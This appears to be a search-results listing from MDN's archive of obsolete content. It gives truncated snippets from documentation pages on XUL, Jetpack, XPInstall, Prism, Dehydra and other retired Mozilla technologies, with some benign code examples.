... examples: .tabs-closebutton { list-style-image: url(http://mozilla.org/favicon.ico); } .tabs-closebutton { list-style-image: url("chrome://global/skin/icons/close.gif"); } ...
XPath - Archive of obsolete content
ax (the following was moved from document.evaluate) obj.evaluate(xpathexpression,contextnode,namespaceresolver,resulttype,result); //obj and contextnode should be the same object, if context is a ajax xml object (example: returnedxml) this should be used as : returnedxml.evaluate(xpathexpression,returnedxml,namespaceresolver,returntype,result); //contextnode should be used in the one in which it was created //add by mooring 2008-11-15 16:00 china var xhr = new ajax('post','demo.xml',parsexml,'xml'); //ajax is a class written by javascript which return responsexml object to parsexml function function parsexml(obj)//obj is the returnxml object now { if(!obj.documentelement) { alert("your browser does't support this script!"); return; } var fields = [];//store the re...
....iteratenext(); } } alert(fields); } //here is the demo xml file for xpath <?xml version="1.0"?> <root> <field> <item>art_id</item> <item>psection</item> <item>qkind</item> <item>qtitle</item> <item>question</item> <item>pic</item> <item>answer1</item> <item>answer2</item> <item>answer3</item> <item>answer4</item> </field> </root> //add by mooring 2008-11-15 16:16 china ...
Default Preferences - Archive of obsolete content
user supplied prefs are set using the gui and also by modifying a profile's prefs.js file (which uses the user_pref() function).
...setting default preferences while most of an extension's directories can be named arbitrarily and mapped using a chrome manifest, default preferences must be in very particular spot: | extension root +--|content +--|skin +--|defaults +--|preferences to add preferences simply drop a .js file into that directory and mozilla will read it and set the appropriate preferences.
Firefox addons developer guide - Archive of obsolete content
these days, we recommend using the add-on sdk instead, but there are times when you need the additional control offered by a more direct approach.
... next » introduction to extensions technologies used in developing extensions introduction to xul—how to build a more intuitive ui using xpcom—implementing advanced processes let's build a firefox extension firefox extensions and xul applications license and authors next » ...
progress - Archive of obsolete content
general info specification offline interface progressevent bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... related events checking noupdate downloading progress cached updateready obsolete error ...
Bypassing Security Restrictions and Signing Code - Archive of obsolete content
these privilege manager feature was not used much (aside from abuse), and its complexity made performance improvements difficult.
... sites that require additional permissions should now ask firefox users to install an extension, which can interact with non-privileged pages if needed.
Creating a Web based tone generator - Archive of obsolete content
setinterval(function() { var written; // check if some data was not written in previous attempts.
... } tail = null; } // check if we need add some data to the audio output.
Environment variables affecting crash reporting - Archive of obsolete content
moz_crashreporter_no_report save the minidump file but don't launch the crash reporting ui or send the report to the server.
...this is useful for content crashes that don't normally close the chrome (main application) processes.
Using content preferences - Archive of obsolete content
this permits code running within chrome (in other words: extensions and the browser itself, not web sites) to locally save preferences on a per-site basis.
... spellcheck.lang language code (e.g., "en-us") private browsing requires gecko 9.0(firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) prior to gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6), the content preference service always stores preferences on disk.
Visualizing an audio spectrum - Archive of obsolete content
tml> <html> <head> <title>javascript spectrum example</title> </head> <body> <audio id="audio-element" src="song.ogg" controls="true" style="width: 512px;"> </audio> <div><canvas id="fft" width="512" height="200"></canvas></div> <script> var canvas = document.getelementbyid('fft'), ctx = canvas.getcontext('2d'), channels, rate, framebufferlength, fft; function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; fft = new fft(framebufferlength / channels, rate); } function audioavailable(event) { var fb = event.framebuffer, ...
... t = event.time, /* unused, but it's there */ signal = new float32array(fb.length / channels), magnitude; for (var i = 0, fbl = framebufferlength / 2; i < fbl; i++ ) { // assuming interlaced stereo channels, // need to split and merge into a stero-mix mono signal signal[i] = (fb[2*i] + fb[2*i+1]) / 2; } fft.forward(signal); // clear the canvas before drawing spectrum ctx.clearrect(0,0, canvas.width, canvas.height); for (var i = 0; i < fft.spectrum.length; i++ ) { // multiply spectrum by a zoom value magnitude = fft.spectrum[i] * 4000; // draw rectangle bars for each frequency bin ctx.fillrect(i * 4, canvas.height, 3, -magnitude); ...
Kill the XUL.mfl file for good - Archive of obsolete content
avoiding the creation of the xul.mfl file mozilla creates in its profile directory a file named xul.mfl, which contains pre-compiled ui elements.
... this is meant to speed up the operation of mozilla, however in a fileserver based environment, this can be problematic: at several megabytes a pop, these files will take up a considerable amount of space, because each user has his own...
Protecting Mozilla's registry.dat file - Archive of obsolete content
in other windows versions, internet explorer (which is hard to kick off completely) likes to install "personnalized settings" when the user logs in for the first time, and this seems to have the interesting "side-effect" of wiping any non-microsoft subfolders from %userprofile%\application data, including mozilla's .
...\application data" >nul 2>nul mkdir "%userprofile%\application data\mozilla" >nul 2>nul copy /b \\server\netlogon\template\"application data"\mozilla\registry.dat "%userprofile%\application data\mozilla" >nul 2>nul attrib +r +s "%userprofile%\application data\mozilla" >nul 2>nul attrib +r +s "%userprofile%\application data\mozilla\registry.dat" >nul 2>nul regedit /s \\server\netlogon\reg\quicklaunch.reg >nul 2>nul ...
Using Dehydra - Archive of obsolete content
example: printing the location of type declarations save the following c++ code dumptypes.cc: typedef int myint; struct foo { int i; char *c; }; save the following analysis script dumptypes.js: function process_type(t) { print("type found: " + t.name + " location: " + t.loc); } function input_end() { print("hello, world!"); } compile using the following command: $ g++ -fplugin=~/dehydra/gcc_dehydra.so -fplugin-arg=~/dumptypes.js -o/dev/null -c dumptypes.cc note:for g++4.5 and up use -fplugin-arg-gcc_dehydra-script= rather than -fplugin-arg it should print the following results: type ...
... */ function isfinal(c) { if (!c.attributes) return false; for each (let a in c.attributes) if (a.name == 'user' && a.value == 'final') return true; return false; } function process_type(t) { if (t.bases) for each (let base in t.bases) if (isfinal(base.type)) error("class " + t.name + " extends final class " + base.type.name, t.loc); } compile using the following command: $ g++ -fplugin=~/dehydra/gcc_dehydra.so -fplugin-arg=~/fin...
Dehydra - Archive of obsolete content
the development focus switched to dxr (where the "d" comes from "dehydra"), which is based on clang instead of gcc.
...it was also useful to find bugs in source code as it allows for much more error checking than c++ is capable of by itself.
Embedding FAQ - Archive of obsolete content
you can get more detailed information on what interfaces are required and which are optional to impelement here.
...st { public static void main(string args[]) { display display = new display(); shell shell = new shell(display); final mozillabrowser browser = new mozillabrowser(shell,wt.border); browser.seturl("http://www.google.com"); browser.addprogresslistener(new progresslistener() { public void changed(progressevent event) { } public void completed(progressevent event) { nsidomdocument doc = browser.getdocument(); system.out.println(doc); } }); while (!shell.isdisposed()) { if (!display.readanddispatch(...
Extension Frequently Asked Questions - Archive of obsolete content
before asking for help, be sure to set the debugging prefs and check the error console for related messages.
... also, don't forget to do at least a simple web search before asking.
External CVS snapshots in mozilla-central - Archive of obsolete content
those directories shall be considered read-only, changes shall be delivered to the upstream software projects.
...such changes will get overwritten without warning on importing the next updated version.
Firefox Sync - Archive of obsolete content
components and services sync refers to a family of related components and services which provide synchronization of data between mozilla application instances.
...it exists as a core javascript module providing generic functionality and ui components for each product.
HTTP Class Overview - Archive of obsolete content
nshttphandler implements nsiprotocolhandler manages preferences owns the authentication cache holds references to frequently used services nshttpchannel implements nsihttpchannel talks to the cache initiates http transactions processes http response codes intercepts progress notifications nshttpconnection implements nsistreamlistener & nsistreamprovider talks to the socket transport service feeds data to its transaction object routes progress notifications nshttpconnectioninfo identif...
...ies a connection nshttptransaction implements nsirequest encapsulates a http request and response parses incoming data nshttpchunkeddecoder owned by a transaction strips chunked transfer encoding nshttprequesthead owns a nshttpheaderarray knows how to fill a request buffer nshttpresponsehead owns a nshttpheaderarray knows how to parse response lines performs common header manipulations/calculations nshttpheaderarray stores http "<header>:<value>" pairs nshttpauthcache stores authentication credentials for http auth domains nshttpbasicauth implements nsihttpauthenticator generates basic auth credentials from user:pass nshttpdigestauth implements nsihttpauthenticator generates digest auth credentials from user:pass original document informatio...
JavaScript OS.Shared - Archive of obsolete content
for the moment, module os.shared is accessible only from chrome workers.
... global object os.shared.type properties void_t voidptr_t char jschar int unsigned_int int32_t uint32_t int64_t uint64_t long bool off_t size_t ssize_t fd (unix only) negativeone_or_fd (unix only) negativeone_or_nothing (unix only) string (unix only) null_or_string (unix only) handle (windows only) maybe_handle (windows only) dword (windows only) negative_or_dword (windows only) zero_or_dword (windows only) zero_or_nothing (windows only) declareffi() intn_t() uintn_t()instances of os.shared.type convert_from_c() releasewith() attributes global object os.shared.hollowstructure in_ptr out_ptr inout_ptr ...
Basics - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
...onfocus()changing the focus of a tab.
Extenders - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
... manifest chief mechanism for allowing advanced api use within your jetpack superpowers similar to libraries, superpowers are for adding deeper platform coupling for your jetpack sandboxes safely abstracts library interoperability issues so you don't have to worry about them future api interface method for including not yet finalized functionality in your jetpack ...
Enabling - Archive of obsolete content
in python, you can call from __future__ import foo which adds the functionality that foo yields to the script.
...jetpack.future.import("clipboard"); the goal here is to be able to remove the jetpack.future.import() call when the feature has been formally accepted into the core without additionally changing the script (barring any other changes made during integration).
Settings - Archive of obsolete content
settings are private to each jetpack and are not accessible by other jetpacks.
...jetpack.future.import("storage.settings"); this definition will result in a user interface with an input field for each setting defined above.
Jetpack Snippets - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
...> <p>some slidbar you want to debug</p> <a href="javascript:console.log('hello!')">test</a> <script><![cdata[ //firebug lite bookmarklet code: var firebug=document.createelement('script'); firebug.setattribute('src','http://getfirebug.com/releases/lite/1.2/firebug-lite-compressed.js'); document.body.appendchild(firebug); (function(){if(window.firebug.version){firebug.init();}else{settimeout(arguments.callee);}})();void(firebug); ]]></script> </body></html>, width: 800, //wide enough to use firebug onselect: function(slide) { slide.slide(800, true); }}); calling into a slidebar from the global jetpack scope jetpack.slidebar.append({ onready: ...
Clipboard - Archive of obsolete content
the namespace associated with this api is jetpack.clipboard which provides both read and write access to the clipboard.
...the only flavors currently implemented are 'plain' (text/unicode) and 'html' (which is html).string"text" here's an example of how to use the method to set the clipboard.
System - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
... clipboard interactions with the os clipboard system information get information about the platform on which jetpack is running visual effects os-level visual effects abilities devices methods for accessing and controlling devices (ex.
slideBar - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
...nt persistdefault slide behavior when being selectedbool autoreloadautomatically reload content on selectbool onclickcallback when the icon is clickedfunction onselectcallback when the feature is selectedfunction onreadycallback when featured is loadedfunction an example: jetpack.slidebar.append({ url: "http://mozilla.com", width: 150, onclick: function(slide){ slide.icon.src = "chrome://branding/content/icon48.png"; }}); ...
UI - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
... menu accessing, modifying, and creating menus in the browser slidebar ui mechanism for displaying jetpack content in a slide-out animated vertical column toolbar including entries and access elements into the toolbar panel a movable, expandable, and custom styled content element to display jetpack content tabs adding events and interacting with browser tabs and their contained documents statusbar low-level functions and basic calls notifications a system for alerting users via provided ui mechanisms selection interacting with user-selected content ...
Enabling Experimental Jetpack Features - Archive of obsolete content
ArchiveMozillaJetpackdocsMetaFuture
in python, you can call from __future__ import foo which adds the functionality that foo yields to the script.
...jetpack.future.import("clipboard"); the goal here is to be able to remove the jetpack.future.import() call when the feature has been formally accepted into the core without additionally changing the script (barring any other changes made during integration).
Clipboard - Archive of obsolete content
the namespace associated with this api is jetpack.clipboard which provides both read and write access to the clipboard.
...the only flavors currently implemented are 'plain' (text/unicode) and 'html' (which is html).string"text" here's an example of how to use the method to set the clipboard.
Jetpack - Archive of obsolete content
jetpack jetpack is a project to make it easy to build firefox add-ons using common web technologies.
... get started visit the getting started tutorial download the add-on sdk (formerly called the jetpack sdk) documentation check out the documentation, including tutorials, examples, guides, and api reference join the jetpack community follow jetpack on the mozilla add-ons blog report a bug check out the open bugs discuss jetpack grab the source code join us in #jetpack on irc.mozilla.org ...
Litmus tests - Archive of obsolete content
a "smoke test" is a quick check, done to verify the basic functionality of a certain feature, or a sanity check of the build process.
...it may not cover it at much depth, but it does try to cover the major features.
Measuring add-on startup performance - Archive of obsolete content
using about:startup the about startup add-on provides a much simpler way to measure startup performance.
...if you want to match talos, you should do this 20 times.
Build - Archive of obsolete content
building prism is similar to building mccoy, but there are some differences which is why a separate build documentation article.
...change directory into mozilla/ and checkout the latest prism code : cd mozilla/ svn co http://svn.mozilla.org/projects/webrunner/trunk prism create a file called .mozconfig make sure it is in the mozilla/ directory.
HostWindow - Archive of obsolete content
when the sidebar is displayed, the splitter can be used to change the width or quickly collapse it.
...status - area of the statusbar that displays the loading status message and a "percent complete" progress bar, as well as the "gear" menu that provides access to prism commands such as displaying the error console.
Installer - Archive of obsolete content
this means that when you double-click or launch a *.webapp file, prism is launched and automatically opens the web application.
... one interesting side effect is that after this change, you can select a link to a .webapp file in a web page and you get it run by prism - in ie this runs anywhere, but this won't work in firefox unless the webapp is being issued with an appropriate mime type on the server: application/x-webapp works (see an example ).
Scripting - Archive of obsolete content
this file will be loaded into the prism chrome window very much like a firefox extension is loaded into the browser chrome window.
...this level of functionality is commonly called chrome-level privileges.
Remote debugging - Archive of obsolete content
since debugging usually requires printing many objects, this is much faster than debugging over bugzilla.
...examples: 391851 share your computer with remote desktop offer to let a developer control your computer using remote desktop software such as vnc or fog creek copilot.
Standard Makefile Header - Archive of obsolete content
each mozilla makefile uses a standard header.
... this header sets variables which tell the makefile where it is and where the source directory is, and then include autoconf.mk, to pick up makefile variables which are set during configuration.
Tamarin Acceptance Test Template - Archive of obsolete content
* * the original code is [open source virtual machine.].
... * * contributor(s): * adobe as3 team * * alternatively, the contents of this file may be used under the terms of * either the gnu general public license version 2 or later (the "gpl"), or * the gnu lesser general public license version 2.1 or later (the "lgpl"), * in which case the provisions of the gpl or the lgpl are applicable instead * of those above.
Tamarin Acceptance Testing - Archive of obsolete content
in order to ensure that changes to the tamarin code base are high quality before submitting, all developers are required to complete the following steps.
... misc the acceptance and performance tests can be run on windows mobile devices connected to windows desktop machine with activesync.
Tamarin-central rev 703:2cee46be9ce0 - Archive of obsolete content
the key takeaway is that the interpreter is much improved.
... there is no linux comparison due to a linux memstat bug only recently resolved in the tamarin-central branch.
Uriloader - Archive of obsolete content
uriloader: responsible for the dispatch of content to content handlers as it comes in from the network.
... overview of a uri load up though dispatch to a content handler helper application tech talk mime type determination in mozilla overview of how downloads work ...
[Deprecated] The Mozilla build VM - Archive of obsolete content
thanks to significant improvements in our build environment setup process, it's much simpler and easier to get set up and stay up to date by starting with building firefox instead.
... you can also ask your getting-started questions in the introduction chat room on matrix, and any firefox development questions in the developers room.
Methods - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
... moddatechanged specifies whether the last modification on a file is older than a specified date move moves a file from one location to another.
InstallVersion Object - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
...each of the version parameters is also available as a separate property of the installversion object.
deleteRegisteredFile - Archive of obsolete content
if the file is currently being used, the name of the file that is to be deleted is saved and netscape 6 attempts to delete it each time it starts up until the file is successfully deleted.
... this method is used to delete files that cannot be removed by the uninstall method or to remove files that are no longer necessary or whose names have changed.
getComponentFolder - Archive of obsolete content
getcomponentfolder returns an object representing the directory in which a component is installed.
... returns an object representing the directory in which the component is installed, or null if the component could not be found or if subdirectory refers to a file that already exists.
getLastError - Archive of obsolete content
this method allows you to defer checking for error codes each time you call addfile or adddirectory until the last addfile or adddirectory call.
... the getlasterror method does not return errors from methods that return objects, such as getfolder.
loadResources - Archive of obsolete content
method of install object syntax object loadresources( string xpipath ); parameters the sole input parameter for loadresources is a string representing the path to the properties file in the xpi in which the key/value pairs are defined.
...description the format of the properties file expected by loadresources is the same as that of the chrome locale .properties files.
Install Object - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
... perform installation check that the files have been added successfully (e.g., by checking the error return codes from many of the main installation methods, and go ahead with the install if everything is in order: performorcancel(); function performorcancel() { if (0 == getlasterror()) performinstall(); else cancelinstall(); } for complete script examples, see script examples.
Methods - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
... writestring changes a value in a .ini file.
createKey - Archive of obsolete content
method of winreg object syntax int createkey ( string subkey, string classname); parameters the method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
... returns 0 if it succeeded; a nonzero number if it failed to schedule the creation.
deleteKey - Archive of obsolete content
method of winreg object syntax int deletekey ( string subkey); parameters the method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
... returns 0 if it succeeded; a nonzero number if it failed to schedule the deletion.
deleteValue - Archive of obsolete content
method of winreg object syntax int deletevalue ( string subkey, string valname); parameters the deletevalue method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
... returns 0 if it succeeded; a nonzero number if it failed to schedule the deletion.
enumKeys - Archive of obsolete content
method of winreg object syntax string enumkeys ( string key, int subkeyindex ); parameters the enumkeys method has the following parameters: key the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
...var winreg = getwinregistry(); winreg.setrootkey(winreg.hkey_local_machine); var index = 0; var basekey = "software\\mozilla"; while ( (mozillaversion = winreg.enumkeys(basekey,index)) != null ) { logcomment("mozillaversion = " + mozillaversion); subkey = basekey + "\\" + mozillaversion + "\\extensions"; pluginsdir = winreg.getvaluestring ( subkey, "plugins" ); if ( pluginsdir ) logcomment("pluginsdir = " + pluginsdir); else logcomment("no plugins ...
enumValueNames - Archive of obsolete content
method of winreg object syntax string enumvaluenames ( string key, int subkeyindex ); parameters the enumvaluenames method has the following parameters: key the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
...var winreg = getwinregistry(); winreg.setrootkey(winreg.hkey_local_machine); v1 = winreg.enumvaluenames("software\\mozilla\\", 0); logcomment("the first subkey value of the mozilla key: " + v1) ...
Methods - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
... setrootkey changes the root key being accessed.
WinReg Object - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
...to manipulate such values, use the getvaluestring and setvaluestring methods.
Mozilla E4X - Archive of obsolete content
e4x also adds new javascript operators for filtering xml lists, and for enumerating xml children and descendants.
... another e4x feature: the ability to bind a w3c dom document to a new xml object, reflecting the dom in e4x terms so that updates to either the dom or the e4x object hierarchy show up in the other.
context - Archive of obsolete content
a context-click varies on each platform.
...you can use the special value '_child' to indicate the first menupopup child of the element.
dir - Archive of obsolete content
ArchiveMozillaXULAttributedir
« xul reference home dir type: one of the values below the direction in which the child elements of the element are placed.
...this is reverse of the order in which they appear in the xul code.
disablefastfind - Archive of obsolete content
« xul reference homedisablefastfindtype: booleanput disablefastfind="true" on the root element of a xul document, which is intended to be loaded in a tab, to disable the find bar for the tab with this document.
... this is used to prevent the find bar from being displayed when it's not supported by the content (such as in the add-ons manager tab).
flags - Archive of obsolete content
two flags are defined, which may be the value of this attribute.
... dont-test-empty: for template generated content, the builder will not check that a container is empty.
fullscreenbutton - Archive of obsolete content
« xul reference home fullscreenbutton type: boolean set this attribute to true to display a button in the window chrome to allow the user to switch the window into full screen mode.
...the window receives a "fullscreen" event once the change has been made.
group - Archive of obsolete content
only one button from each group can be checked at a time.
... if the user selects one the buttons, the others in the group are unchecked.
inverted - Archive of obsolete content
« xul reference home inverted type: boolean for boolean preferences, if this attribute is set to true, it indicates that the value of the preference is the reverse of the user interface element attached to it.
... for instance, checking the checkbox disables the preference instead of enabling it.
key - Archive of obsolete content
ArchiveMozillaXULAttributekey
« xul reference home key type: character the character that must be pressed.
... this should be set to a displayable character.
menuitem.name - Archive of obsolete content
only one menuitem in each radio group can be checked at a time.
... example <toolbox> <menubar id="planets-menubar"> <menu id="planet-menu" label="planet"> <menupopup> <menuitem id="jupiter" label="jupiter" type="radio" name="planet"/> <menuitem id="saturn" label="saturn" type="radio" name="planet" checked="true"/> <menuitem id="uranus" label="uranus" type="radio" name="planet"/> </menupopup> </menu> </menubar> </toolbox> see also name and menus in the xul tutorial ...
modifiers - Archive of obsolete content
on macintosh this can only be used in conjunction with another modifier, since alt+letter combinations are reserved for entering special characters in text.
... accel: the key used for keyboard shortcuts on the user's platform, which is control on windows and linux, and command on mac.
oninput - Archive of obsolete content
this event is only called when the text displayed would change, thus it is not called when the user presses non-displayable keys.
... example <!-- this sets the label's text to the textbox value on each keystroke.
ordinal - Archive of obsolete content
« xul reference home ordinal type: string (representing an integer) an integer which specifies the position of the element within its parent.
...the ordinal attribute can be used to change the order.
position - Archive of obsolete content
« xul reference home position type: string (representing an integer) when an element is in an overlay, the position is an index where the child is inserted.
...this attribute is ignored if either an insertbefore or insertafter attribute matches an element.
resizeafter - Archive of obsolete content
« xul reference home resizeafter type: one of the values below this attribute indicates which element to the right or below the splitter should be resized when the splitter is repositioned.
... grow the elements to the right or below the splitter do not change size (unless they are flexible) when the splitter is dragged, but instead the entire container changes size.
seltype - Archive of obsolete content
(default in listbox and richlistbox.) multiple multiple rows may be selected at once.
... for richlistbox, this is new in firefox 3.5.
statedatasource - Archive of obsolete content
« xul reference home statedatasource type: uri chrome xul may specify an rdf datasource to use to store tree state information.
... this is used to hold which tree items are open and which items are collapsed.
toolbarbutton.title - Archive of obsolete content
it overrides the value of label, which is used if title is not set.
... this does not affect the button's label when it is in a toolbar, which remains determined by the label attribute.
toolbarbutton.type - Archive of obsolete content
checkbox: use this type to create a toggle button which will switch the checked state each time the button is pressed.
... examples: type value <toolbarbutton > menu menu-button checkbox radio see also type ...
tooltiptext - Archive of obsolete content
« xul reference home tooltiptext type: string used to set the text which appears in the tooltip when the user moves the mouse over the element.
...the tooltip is displayed in a default tooltip which displays only a label, however the default tooltip may be changed by setting the default attribute on a tooltip element.
tree.onselect - Archive of obsolete content
« xul reference home onselect type: script code this event is sent to a tree when a row is selected, or whenever the selection changes.
...the onselect event will be sent for each item added to or removed from the selection.
treecell.editable - Archive of obsolete content
« xul reference home editable type: boolean allows the contents of individual cells in the column to be changed, especially useful when <treecol type="checkbox">.
...when the user double-clicks an editable cell, a text field appears in which the user can edit the contents of the cell.
treecol.editable - Archive of obsolete content
« xul reference home editable type: boolean allows the contents of cells in the column to be changed, especially useful when type="checkbox".
... when the user double-clicks an editable cell, a text field appears in which the user can edit the contents of the cell.
visuallyselected - Archive of obsolete content
the visuallyselected attribute is set asynchronously, once the browser has switched to the selected tab.
...to change the selection, set either the selectedindex or selecteditem property of the containing element.
windowtype - Archive of obsolete content
« xul reference home windowtype type: string set to a string which can be used to identify the type of window.
... values for window type as found on mxr: http://mxr.mozilla.org/mozilla-release/search?string=windowtype navigator:browser - looks like if window has gbrowser it has this window type devtools:scratchpad - scratchpad windows navigator:view-source - the view source windows ...
TOC - Archive of obsolete content
ArchiveMozillaXULFileGuideTOC
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
... there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
How to Quit a XUL Application - Archive of obsolete content
getservice(components.interfaces.nsiappstartup); // eattemptquit will try to close each xul window, but the xul window can cancel the quit // process if there is unsaved data.
...components.interfaces.nsiappstartup.eforcequit : components.interfaces.nsiappstartup.eattemptquit; appstartup.quit(quitseverity); } </script> calling this function if there is an uncaught exception, to force the application to quit: <script> try { dosomething(); } catch (e) { quit(true); } </script> the "quit" menuitem should typically prompt the user if there is unsaved data: <menuitem label="quit" oncommand="quit(false);"/> ...
addTabsProgressListener - Archive of obsolete content
« xul reference home addtabsprogresslistener( listener ) return type: no return value add a progress listener to the browser which will monitor loaded documents in all tabs in the tabbed browser.
... the progress listener should be based on the nsiwebprogresslistener interface with an additional "browser" argument as the first argument of every method, which is the browser (not <tabbrowser> = gbrowser) where the event occurred.
getElementsByAttribute - Archive of obsolete content
« xul reference home getelementsbyattribute( attrib, value ) return type: dom nodelist returns a nodelist of all the child elements of the element that have the attribute given by the first argument set to the value given by the second argument.
... if the second argument is '*', the method will match the given attribute set to any value.
goTo - Archive of obsolete content
ArchiveMozillaXULMethodgoTo
« xul reference home goto( pageid ) return type: no return value this method is used to change which page is currently displayed, specified by the pageid argument.
... the page will be changed regardless of the value of canadvance or canrewind.
insertItem - Archive of obsolete content
the id should match an element in the toolbar's toolbarpalette.
... some special ids may also be used to create special spacing items: separator: a separator, which is drawn as a vertical bar.
loadOneTab - Archive of obsolete content
« xul reference home loadonetab( url, referreruri, charset, postdata, loadinbackground, allowthirdpartyfixup ) loadonetab( url, { referreruri: ..., charset: ..., postdata: ..., inbackground: ..., allowthirdpartyfixup: ..., relatedtocurrent: ...
...this method works the same as addtab except for the loadinbackground parameter which allows you to choose whether to open the new tab in foreground or background.
openSubDialog - Archive of obsolete content
« xul reference home opensubdialog( url, features, params ) return type: window opens a child modal dialog.
...if the child dialog is also a prefwindow, set its type attribute to child so that preferences will be saved properly when the main dialog is closed.
openWindow - Archive of obsolete content
« xul reference home openwindow( windowtype, url, features, params ) return type: window open a child window.
...if a window with that type is already open, this method will just switch that window to the front and focus it instead of opening another window.
rewind - Archive of obsolete content
ArchiveMozillaXULMethodrewind
the canrewind property must be set to true for the page to be changed.
... the code in the onwizardback attribute is called before the page is changed.
appLocale - Archive of obsolete content
« xul reference applocale obsolete since gecko 1.9.1 type: nsilocale returns the xpcom object which holds information about the user's locale.
... this is an object which implements nsilocale.
builderView - Archive of obsolete content
« xul reference builderview type: nsixultreebuilder a reference to the tree builder which constructed the tree data.
... the builder provides access to the rdf resources for each row in the tree, and allows sorting the data by column.
buttons - Archive of obsolete content
the following values can be used in the list: accept: the ok button, which will accept the changes when pressed.
... cancel: the cancel button which will cancel the operation.
controllers - Archive of obsolete content
« xul reference controllers type: nsicontrollers a controllers list attached to the element.
...the document's command dispatcher will locate controllers to handle a command by using the focused element's list.
disabled - Archive of obsolete content
<!-- checkbox enables/disables the button --> <checkbox label="enable button" oncommand="document.getelementbyid('buttremove').disabled = !
... this.checked"/> <button id="buttremove" label="remove all" disabled="true"/> ...
focusedItem - Archive of obsolete content
« xul reference focuseditem type: radio element holds the currently focused item in the radiogroup, which may or may not be the same as the selected item.
... you can change the focused item by setting this property.
itemCount - Archive of obsolete content
« xul reference itemcount type: integer read only property holding the number of child items.
... example var bucket = document.getelementbyid("attachmentbucket"); if(bucket.itemcount == 0) { dump("\n\n no attachments \n\n"); } else { dump("\n\n attachment exists \n\n"); } ...
visibleTabs - Archive of obsolete content
« xul reference visibletabs type: array an array containing tab objects for each visible tab in the tabbrowser.
... this lets you determine which tabs are visible in the current tab set.
Urlbar-icons - Archive of obsolete content
create new image or button child elements to add your own items.
... (the url bar is also known as the address bar and the navigation bar.) example the default contents of browser.xul: <hbox id="urlbar-icons"> <button be="" chromedir="ltr" class="urlbar-icon" click="" for="" id="safebrowsing-urlbar-icon" img="" level="safe" might="" onclick="godocommand('safebrowsing-show-warning');" page="" style="-moz-user-focus:" tooltiptext="this" type="menu"> <img class="urlbar-icon" id="star-button" onclick="placesstarbutton.onclick(event);" /> <img address="" chromedir="ltr" class="urlbar-icon" id="go-button" in="" location="" onclick="handleurlbarcommand(event);" p="" the="" to="" tooltiptext="go" /> </button> </hbox> ...
XUL and RDF - Archive of obsolete content
this section makes a technical argument both for having xul in the first place and for using rdf as the underlying implementation of xul's content model.
... the second section describes the xul/rdf architecture itself and outlines enhancements to the xul language in order to allow the markup language to reference local data and to indicate how and when it would like to be annotatable with local data.
bbox - Archive of obsolete content
ArchiveMozillaXULbbox
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
broadcasterset - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
elements - Archive of obsolete content
